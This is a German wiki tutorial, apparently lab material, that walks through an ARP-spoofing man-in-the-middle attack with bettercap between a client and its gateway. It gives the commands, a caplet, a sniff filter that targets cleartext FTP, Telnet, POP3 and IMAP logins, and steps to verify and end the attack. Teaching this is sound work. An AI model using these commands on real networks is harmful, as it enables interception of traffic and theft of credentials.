Arpspoofing mit Bettercap Gateway vorgauckeln

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Bettercap: MITM zwischen Client und Gateway

Szenario

  • CLIENT=10.0.10.104
  • GATEWAY=10.0.10.1
  • INTERFACE=eth0

Der Angreifer schaltet sich per ARP-Spoofing zwischen den CLIENT und das GATEWAY. Damit laeuft der gesamte Verkehr, den der CLIENT ins Internet oder in andere Netze schickt, ueber den Angreifer. Das ist der klassische Fall zum Abhoeren des Internet-Verkehrs eines einzelnen Opfers.

Benoetigtes Paket

  • apt-get install bettercap

Angriff auf dem Angreifer

  • bettercap -iface eth0
Im bettercap-Prompt
  • set arp.spoof.targets 10.0.10.104
  • set arp.spoof.fullduplex true
  • set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143"
  • net.probe on
  • arp.spoof on
  • net.sniff on

Optionen

-iface eth0              =  Interface
arp.spoof.targets        =  das Opfer (CLIENT); das Gateway ergibt sich automatisch
arp.spoof.fullduplex     =  beide Richtungen vergiften (CLIENT und GATEWAY)
net.sniff.filter         =  nur die Klartext-Dienste anzeigen (BPF-Filter wie bei tcpdump)
net.probe on             =  ARP-Cache vorab fuellen, damit die MACs bekannt sind
arp.spoof on             =  ARP-Spoofing starten
net.sniff on             =  Mitschnitt starten
Anders als bei der Host-zu-Host-Variante wird hier arp.spoof.internal NICHT
gebraucht
das Ziel ist die Strecke CLIENT-GATEWAY, und die vergiftet bettercap
standardmaessig. arp.spoof.internal ist nur noetig, wenn zwei interne Hosts
untereinander abgehoert werden sollen.
Der Filter net.sniff.filter blendet allen uebrigen Verkehr aus, damit die
Klartext-Logins nicht im Rauschen untergehen. Ohne ihn funktioniert der Angriff
genauso, man sieht nur mehr. Die Ports
21   FTP     Login + Passwort im Klartext
23   Telnet  komplette Sitzung im Klartext
80   HTTP    unverschluesselter Web-Verkehr
110  POP3    Login + Passwort im Klartext
143  IMAP    Login + Passwort im Klartext
IP-Forwarding muss nicht von Hand gesetzt werden - bettercap leitet die Pakete
selbst weiter, sobald arp.spoof laeuft.

Als Caplet (reproduzierbar)

Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
damit man sie nicht jedes Mal von Hand tippt.
  • vim seclab-c2g.cap:
net.probe on
set arp.spoof.targets 10.0.10.104
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143"
arp.spoof on
net.sniff on
Start
  • bettercap -iface eth0 -caplet seclab-c2g.cap

Nachweis auf dem CLIENT

Im ARP-Cache steht fuer das GATEWAY die MAC-Adresse des Angreifers
  • arp -n | grep 10.0.10.1
10.0.10.1     ether   <MAC-der-kali-innen>   C   eth0

Nachweis auf dem GATEWAY

Im ARP-Cache steht fuer den CLIENT dieselbe MAC-Adresse
  • arp -n | grep 10.0.10.104
10.0.10.104   ether   <MAC-der-kali-innen>   C   eth0
Beide Seiten tragen fuer unterschiedliche IPs dieselbe MAC ein - das ist der Beleg
fuer den laufenden MITM.

Was jetzt sichtbar wird

Der gesamte Verkehr des CLIENT laeuft ueber den Angreifer. Die Klartext-Dienste
erscheinen im net.sniff-Mitschnitt. HTTPS, SSH und andere verschluesselte Dienste
laufen zwar ebenfalls ueber den Angreifer, sind aber nicht im Klartext lesbar.
Genau das ist die Lehre
MITM funktioniert weiterhin, aber Verschluesselung
entwertet den Mitschnitt.

Angriff beenden

Im bettercap-Prompt
  • arp.spoof off
  • q
arp.spoof off schickt korrekte ARP-Antworten (re-ARP), damit die ARP-Caches von
CLIENT und GATEWAY wieder auf die echten MAC-Adressen zeigen und das Opfer normal
weiterarbeiten kann.

Weiterfuehrende Angriffe